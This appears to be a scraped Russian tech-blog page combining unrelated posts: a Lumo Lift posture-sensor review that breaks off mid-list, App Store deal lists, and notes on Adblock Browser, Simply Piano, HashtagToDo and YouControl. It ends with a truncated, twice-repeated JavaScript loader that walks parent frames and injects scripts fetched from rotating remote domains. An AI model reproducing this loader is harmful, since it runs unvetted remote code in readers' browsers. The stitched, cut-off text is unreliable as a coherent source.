Страницы

понедельник, 15 октября 2018 г.

ОБЗОР: Lumo Lift — гаджет, который заставит вас наконец-то выпрямиться


Правильная осанка — это почти недостижимая мечта многих офисных работников. Я мечтаю о ней давно и безуспешно. Мало того, что кривая спина — это некрасиво, это ещё и приводит к большому количеству проблем со стороны позвоночника.

Осанка — это привычное положение тела в пространстве. Если человек привык сидеть или стоять сгорбившись, то только кардинальная смена привычки спасёт спину.

Работа над спиной идёт в нескольких направлениях. Первое — это массаж, который расслабляет перенапряжённые мышцы. С этой же целью используются аппликаторы, иглоукалывание. Второе направление — это укрепление слабых мышц, то есть специальные упражнения для спины. Тут пальму первенства держат йога, плавание и ЛФК.

И третье направление — помощь мышцам и костям в том, чтобы занять правильное положение. Для этого придуманы всевозможные корсеты и корректоры осанки. Они не всегда уместны, и они не вырабатывают сознательной привычки держаться прямо, просто разворачивают плечи в нужном направлении. Эффект достигается только временный: стоит снять корректор, как всё возвращается на круги своя.

Компания

Lumo Bodytech

решила подключить к процессу выпрямления важнейший фактор, то есть сознание, и разработала гаджет, который определяет неправильное положение носителя и вибрацией напоминает, что нужно сесть ровно.

Это краеугольный камень в вопросе улучшения осанки — постоянный самоконтроль в течение длительного времени, до выработки привычки. В обычной ситуации этому всё сопротивляется. Мы сидим за столом, смотрим в компьютеры, слишком сильно устаём, чтобы ещё и следить за положением тела.

Lumo Lift подаёт сигнал: выпрямись!

Компания уже получила положительные отзывы на предыдущую разработку — пояс

Lumo Back, который отслеживал неправильное положение поясничного отдела. Разработчики учли критику, которая касалась размеров конструкции (пояс было не очень удобно носить), и сделали Lumo Lift — маленький датчик, который следит за грудным отделом.

Комплектация

Устройство продаётся в комплекте с зарядником и магнитными клипсами двух цветов — чёрного и серебристого, — с помощью которых датчик надёжно крепится на одежде.

По желанию магниты других оттенков можно докупить отдельно. Забегая вперёд, скажу, что носить Lumo Lift удобнее на нижнем белье или майке, чтобы при движении смещать устройство по минимуму.

Принцип работы

Lumo Lift запоминает правильное положение тела и подаёт вибросигнал, если вы от него отклоняетесь.

Устройство считает правильной ту позу, которую задаёте вы. Есть несколько лайфхаков и упражнений, которые помогают выпрямиться настолько, насколько это возможно. Рекомендовать их должен в идеале врач, потому что вариантов нарушения осанки очень много. Универсальный способ принять верную позу — максимально опустить лопатки и чуть приподнять подбородок.

С одной стороны, в этом есть риск. Ведь если вы не умеете выпрямляться, то Lumo будет возвращать вас в изначально неверное положение. Но есть и плюс. Если ваши мышцы не могут поддерживать позвоночник, то нагрузку нужно повышать постепенно, самостоятельно устанавливая ориентиры.

Настройку Lumo Lift можно проводить через мобильное приложение. Устройства, совместимые с приложением:

Android

iOS

Samsung Galaxy S3, S4, S5, S6

iPhone 4S и далее

Samsung Note 3, 4

iPod touch 5th Generation and later

Samsung Galaxy Tab 4 7”, 8”

iPad 3rd Generation and later

Бесплатные приложения и скидки в App Store 9 сентября


Все представленные ниже предложения актуальны на момент выхода поста. Акции и распродажи действуют в течение ограниченного времени, не пропустите их!

Приложения для iOS

Временно бесплатные

Moment: Easy Memo

Вспомните, как часто вам нужно было что-то записать, но из-за нехватки времени вы не делали этого? Как раз для таких случаев и создано приложение Moment, которое позволяет создавать быстрые заметки, просто смахнув шторку центра уведомлений. Ваши записи можно просматривать и изменять как из приложения, так и из виджета. Поддерживается вставка фото и экспорт в Evernote.

Скачать в appstore

Survivalpedia

Всем, кто ходит в походы и любит экстремальный отдых, пригодится это практическое пособие, которое содержит различные инструкции по техникам выживания. Все материалы написаны на английском, но понятны даже без знания языка благодаря хорошим иллюстрациям.

Скачать в appstore

Скидки

Dailybook

Дневники за последние несколько сотен лет не потеряли своей актуальности, но сильно изменились, эволюционировав до цифровых мобильных журналов вроде Dailybook. Сюда вы можете не только записывать свои мысли или путевые заметки, но и добавлять фото, аудиозаписи, геотеги. Поддерживается расширенное форматирование, ключевые слова, закладки, различные варианты экспорта и защита Touch ID.

Загрузить

Создатели расширения Adblock Plus выпустили браузер для iOS и Android


Особенность браузера, разумеется, в возможности блокировать рекламу. Причём Adblock Browser предоставляет для этого внушительное количество настроек. К примеру, есть возможность разрешить сайту ненавязчивую рекламу. В описании функции сказано, что создатели хотят поощрять сайты, которые используют рекламу, не раздражающую пользователя.

Кнопка отключения рекламы находится в центре нижней панели. По умолчанию блокировка рекламы включена на всех сайтах. Включается и отключается блокировка в два нажатия.

Сам браузер работает достаточно плавно, хотя в случае с iOS до Safari всё же недотягивает. Есть стандартные браузерные возможности: можно добавить страницу в избранное или в закладки, а также поделиться в социальных сетях. В качестве поисковой системы используется DuckDuckGo, но её можно изменить на Google. Других вариантов не предусмотрено.

В настройках также есть дополнительные опции блокирования. К примеру, можно заблокировать отслеживание, домены с вредоносным ПО, удалить кнопки социальных сетей или скрыть сообщения против блокирования рекламы.

Adblock Browser доступен в версиях для iOS и Android. В магазинах приложений упоминается, что использование браузера сокращает расходы заряда батареи на 20%, а трафика — на 50%. Впрочем, в такие числа верится с трудом.

Simply Piano для iOS — ваша возможность научиться играть на пианино без учителя


Приложения, функциональность которых может заменить людей каких-либо профессий, вызывают много вопросов. К примеру, обучение. Как приложение может проверить знания? Как выявит ошибки? Как поможет исправить именно те ошибки, которые совершил ученик? По крайней мере у меня возникают именно такие вопросы. Поэтому я считаю, что приложения вроде Simply Piano могут развить лишь начальные навыки, а затем вам всё равно придётся искать что-то другое.

Процесс обучения построен в виде коротких уроков. Перед его началом пользователя спрашивают об уровне игры и наличии инструмента. Причём последний вопрос очень важен. Так как Simply Piano может слушать вашу игру и распознавать ошибки, в зависимости от выбора меняется способ, с помощью которого приложение будет это делать. Чем более точным будет ваш выбор, тем более точно Simply Piano распознает игру.

Уроки короткие, примерно по 3–5 минут. Каждый из них сопровождается видео- и аудиопояснениями. Голос за кадром говорит на английском, впрочем, понять его даже без знания языка несложно, так как объясняется всё то, что изображено на картинках.

Simply Piano довольно точно распознаёт ошибки, правда, иногда всё же их не улавливает. Но ждать от встроенного в iPhone микрофона идеального результата не стоит.

Simply Piano — бесплатное приложение. Все уроки доступны сразу, но для прохождения следующего урока придётся завершить предыдущий. Поэтому если вы знаете основы игры, то выберите продвинутый уровень. Тогда вы сразу переместитесь на несколько уроков вперёд.

Загрузить

HashtagToDo превращает Google Calendar в список задач


HashtagToDo — это новое веб-приложение, которое интегрируется с Google Calendar и позволяет использовать его в качестве менеджера задач. Для начала работы с сервисом вам необходимо зайти на

эту страницу

и предоставить HashtagToDo доступ к данным в вашей учётной записи Google. Чтобы сделать это, нажмите на кнопку Sign Up Now и следуйте дальнейшим указаниям.

После этого можете открыть свой календарь и попробовать создать новое событие. Если при этом вы вставите в его название обозначение #todo, то оно автоматически превратится в задачу. При этом рядом с названием события появятся две квадратные скобки, обозначающие чекбокс.

Теперь вы можете увидеть все свои задачи на странице календаря. Если вам необходимо просмотреть полный список созданных задач, щёлкните на заголовке Todo List в начале текущего дня. Обозначить любую задачу в качестве выполненной можно, просто поставив в квадратных скобках букву Х. При этом выполненная задача удаляется из общего списка HashtagToDo.

Но самая приятная особенность сервиса HashtagToDo состоит в том, что он умеет автоматически переносить невыполненные дела на следующий день. Эта функция сохранит вам много времени при планировании и позволит не забыть об оставшихся с прошлого дня задачах.

Обратите внимание, что все операции с задачами

HashtagToDo

производит в онлайне, а потом синхронизирует данные с вашим календарём. Это позволяет использовать данный сервис не только в браузере, но и на любом мобильном устройстве, в любом приложении, которое подключено к вашему аккаунту Google.

Бесплатные приложения и скидки в App Store 8 сентября


Все представленные ниже предложения актуальны на момент выхода поста. Акции и распродажи действуют в течение ограниченного времени, не пропустите их!

Приложения и игры для iOS

Временно бесплатные

Weight Tracker QuickLog.me

Если вы решили сбросить или набрать вес, то не забросить это нелёгкое начинание вам поможет приложение Weight Tracker QuickLog.me. Трекер позволит задать вам желаемый вес и затем с удобством регистрировать ваши ежедневные достижения. Поддерживается визуализация данных и автоматическое вычисление индекса массы тела.

Скачать в appstore

SnapStill

Иногда бывает, что мы записываем какое-либо событие на видео и совершенно забываем сделать хотя бы несколько снимков. В этом случае поможет приложение SnapStill, которое умеет делать фото из отдельных кадров видеоролика. Здесь есть различные настройки и удобный интерфейс, позволяющий легко найти нужный момент.

Скачать в appstore

Fonta

Любите повозиться со своими фото и красиво оформить их с помощью текста и различных типографических рюшечек? Приложение Fonta открывает перед вами широкие возможности для творчества. В нём вы найдёте большое количество шаблонов текста и дополнительных способов его украсить, инструменты редактирования фото, включая обрезку, поворот, размытие и многое другое.

Загрузить

QR-Code

Fonta - Little Design Studio

Разработчик:

ThirtyFive Inc.

Как выбрать поставщиков и партнёров: советы YouControl


YouControl

— это поисковая бизнес-система, предоставляющая «досье» на зарегистрированные на территории Украины компании и предпринимателей: когда, где и кем учреждена фирма, какие виды деятельности осуществляет, каково её финансовое состояние, нет ли долгов по налогам и не вовлечена ли она в судебные тяжбы. Сведения аккумулируются из 10 государственных реестров и 20 открытых баз данных.

Как экспертов в вопросах взаимодействия с поставщиками и партнёрами, мы попросили YouControl дать несколько советов нашим читателям. На что нужно обратить внимание, прежде чем заключить контракт, и можно ли защитить своё дело от недобросовестных контрагентов?

Оцените путь партнёра до встречи с вами

Например, вы хотите передать бухгалтерию на аутсорсинг. На рынке десятки (если не сотни) фирм, занимающихся бухучётом, с примерно одинаковым набором услуг и ценами. Определять рейтинг или прибыльность предложения каждой — всё равно что пересчитывать песчинки на пляже.

Для начала составьте перечень потенциальных партнёров. Можно пользоваться каталогами компаний, но поисковые бизнес-системы удобнее. К примеру, YouControl позволяет сортировать предприятия по сфере деятельности и искать по ключевым словам.

Поиск новых компаний на рынке

При этом у YouControl открытый API, то есть систему можно интегрировать с CRM или «1С». Кстати, эту фишку многие используют в лидогенерации.

Составив список, изучите портфолио потенциальных партнёров. Эскизы, линейки товаров, фото с выставок, награды и тому подобные вещи не берутся с потолка. Это результат труда предприятия, его бэкграунд. Выбирайте организации с хорошей репутацией и солидным опытом.

Цените профессионализм

Не вся информация есть в открытом доступе. Но всегда можно уточнить интересующие моменты напрямую у потенциального партнёра.

Обратите внимание, насколько оперативно и чётко вам отвечают. Если в компании в любой момент готовы подготовить для вас презентацию или составить коммерческое предложение, значит, они настоящие профи и открыты для сотрудничества.

Проверяйте легальность

В прессе постоянно вспыхивают скандалы с фирмами-однодневками. Чтобы не нарваться на одну из таких, обязательно проверьте правовой статус и финансовое состояние компании.

Обратите особое внимание на регистрационные данные: организационно-правовая форма, учредители, дата внесения в госреестр и постановки на учёт в налоговые органы.

Простой пример. В портфолио компании говорится, что она на рынке больше 10 лет, а по факту юридическое лицо зарегистрировано всего год. Конечно, речь может идти о простой реорганизации. Но и это повод насторожиться: не заметала ли фирма следы, плодя «дочек» и меняя название?

Получить сведения о регистрации юридических лиц и предпринимателей можно на официальных сайтах налоговых органов. Но данные там обычно разбросаны по десяткам каталогов: придётся повозиться, чтобы отыскать нужное. На этом, кстати, строится одно из главных конкурентных преимуществ YouControl — система предоставляет структурированную информацию, где сразу всё понятно.

Досье предприятия

Не стесняйтесь узнавать подноготную

Когда выбор почти сделан, переговоры прошли успешно и остаётся лишь подписать контракт… Остановитесь! Проверьте, нет ли у «почти партнёра» багажа в виде судебных исков. На этой стадии отношения между контрагентами уже довольно доверительные, и многие считают подобные проверки некрасивыми. Всё равно что на свидании смотреть в паспорт — не замужем ли избранница? Но что дороже: моральные предрассудки или собственный капитал?

Узнать, нет ли в отношении компании исков и судебных решений, можно через сайты судов. Но поиск, опять же, может занять много времени. С YouControl получить нужные данные, а также ознакомиться с судебными решениями можно в два клика.

А изучать эти документы немаловажно. Так, при банкротстве существует практика подачи исков на всех контрагентов для дальнейшего выяснения их статуса. Иными словами, компания может быть вовлечена в арбитражный процесс, но при этом невиновна. Поэтому анализируйте, по какой причине подан иск и вынесено решение суда.

Всегда держите руку на пульсе

Проверять благонадёжность партнёров и поставщиков следует не только на начальном этапе, но и во время всего периода взаимодействия. Ведь даже крупные компании могут потерять финансовое равновесие. Нередки ситуации, например, когда предприятия сотрудничают много лет, а после заключения очередной сделки выясняется, что на имущество одного из них наложен арест.

Для этих целей у YouControl есть функция мониторинга, позволяющая оперативно отслеживать все изменения, происходящие с контрагентами. Изменилась организационно-правовая форма? На фирму подали в суд? Система отправит email-оповещение.

Добавление контрагента для мониторинга

Резюмируя вышесказанное, можно сделать вывод, что главный принцип при выборе поставщиков и партнёров — доверяй, но проверяй. Бизнес — это всегда риск. Но его можно минимизировать. Поможет в этом YouControl и другие поисковые бизнес-системы.

// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("lifehacker.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); // ]]>

// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("lifehacker.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); // ]]>